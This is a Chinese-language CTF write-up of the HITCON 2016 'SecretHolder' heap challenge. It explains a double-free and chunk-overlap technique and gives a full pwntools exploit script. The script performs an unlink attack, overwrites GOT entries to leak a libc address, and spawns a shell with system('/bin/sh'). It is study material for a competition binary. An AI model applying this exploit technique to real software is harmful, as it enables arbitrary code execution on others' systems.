HITCON CTF 2016 SerectHolder

程序

link: SecretHolder

程序可以申请大小分别为40, 4000, 400000的堆块,并有删除,编辑操作

漏洞

比赛期间只发现一个double free

因为可以申请一个fast chunk和big chunk,应该就是考察fast chunk在特定情况下(申请大的堆块,fastbin非空)会合并的特点,
但是比赛时一直没有找到利用的方法,
比赛后参考国外队伍的writeup,分别申请huge chunk和small chunk,再free掉,然后再申请huge chunk,这样便可以另huge chunk落入top chunk中,
然后free已经被free掉的small chunk,然后再申请,便可以令small chunk落入huge chunk中(后面的big chunk也会落入huge chunk中,原理未知),
造成堆块的重叠,之后便是unlink的利用了

利用

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
context.log_level = 'debug'
def New(p, type, content):
p.recvuntil('3. Renew secret\n')
p.send('1\n')
p.recvuntil('3. Huge secret\n')
p.send(str(type) + '\n')
p.recvuntil('Tell me your secret: \n')
p.send(content)
def Wipe(p, type):
p.recvuntil('3. Renew secret\n')
p.send('2\n')
p.recvuntil('3. Huge secret\n')
p.send(str(type) + '\n')
def ReNew(p, type, content):
p.recvuntil('3. Renew secret\n')
p.send('3\n')
p.recvuntil('3. Huge secret\n')
p.send(str(type) + '\n')
p.recvuntil('Tell me your secret: \n')
p.send(content)
p = process('./SecretHolder')
elf = ELF('./SecretHolder')
libc = ELF('./local.libc')
read_got = elf.got['read']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
offset_read = libc.symbols['read']
offset_system = libc.symbols['system']
New(p, 3, 'A' * 8)
Wipe(p, 3)
New(p, 1, 'B' * 8)
Wipe(p, 1)
New(p, 3, 'A' * 8)
Wipe(p, 1)
New(p, 1, 'A' * 8)
New(p, 2, 'B' * 8)# now three chunk are overlapping
payload = ''
payload += 'A' * 0x20
payload += p64(0x00)
payload += p64(0x31)
payload += 'A' * 0x20
payload += p64(0x00)
payload += p64(0x081021)#make two fake fast_chunk, control small_ptr, prepare for unlink attack
ReNew(p, 3, payload)
Wipe(p, 1)
Wipe(p, 2)
New(p, 1, 'A' * 0x08)
New(p, 2, 'B' * 0x08)
ptr = 0x6020b0
fake_fd = ptr - 0x18
fake_bk = fake_fd + 0x08
payload = ''
payload += '\x00' * 0x30
payload += p64(0x00)
payload += p64(0xfa1)
payload += p64(fake_fd)
payload += p64(fake_bk)
payload += '\x00' * 0xf80
payload += p64(0xf80 + 0x20)
payload += p64(0xfb0)
ReNew(p, 3, payload)
Wipe(p, 2)#free big chunk, unlink small chunk
payload = ''
payload += '\x00' * 0x10
payload += p64(read_got)#overwrite huge_ptr with read@got
payload += p64(free_got)#overwrite small_ptr with free@got
ReNew(p, 1, payload)
ReNew(p, 1, p64(puts_plt))#write free@got with puts@plt
Wipe(p, 3)#free(huge_ptr) => puts(read@got)
#leak read() addr
read_addr = u64(p.recvuntil('\n1. Keep secret', drop = True).ljust(0x08, '\x00'))
log.info('read() addr:' + hex(read_addr))
libc_base = read_addr - offset_read
system_addr = libc_base + offset_system
#raw_input()
ReNew(p, 1, p64(system_addr))#write free@got with system()
New(p, 2, '/bin/sh')#write '/bin/sh'
Wipe(p, 2)#free(big_ptr) => system('/bin/sh')
p.interactive()

文章目录
  1. 1. 程序
  2. 2. 漏洞
  3. 3. 利用
|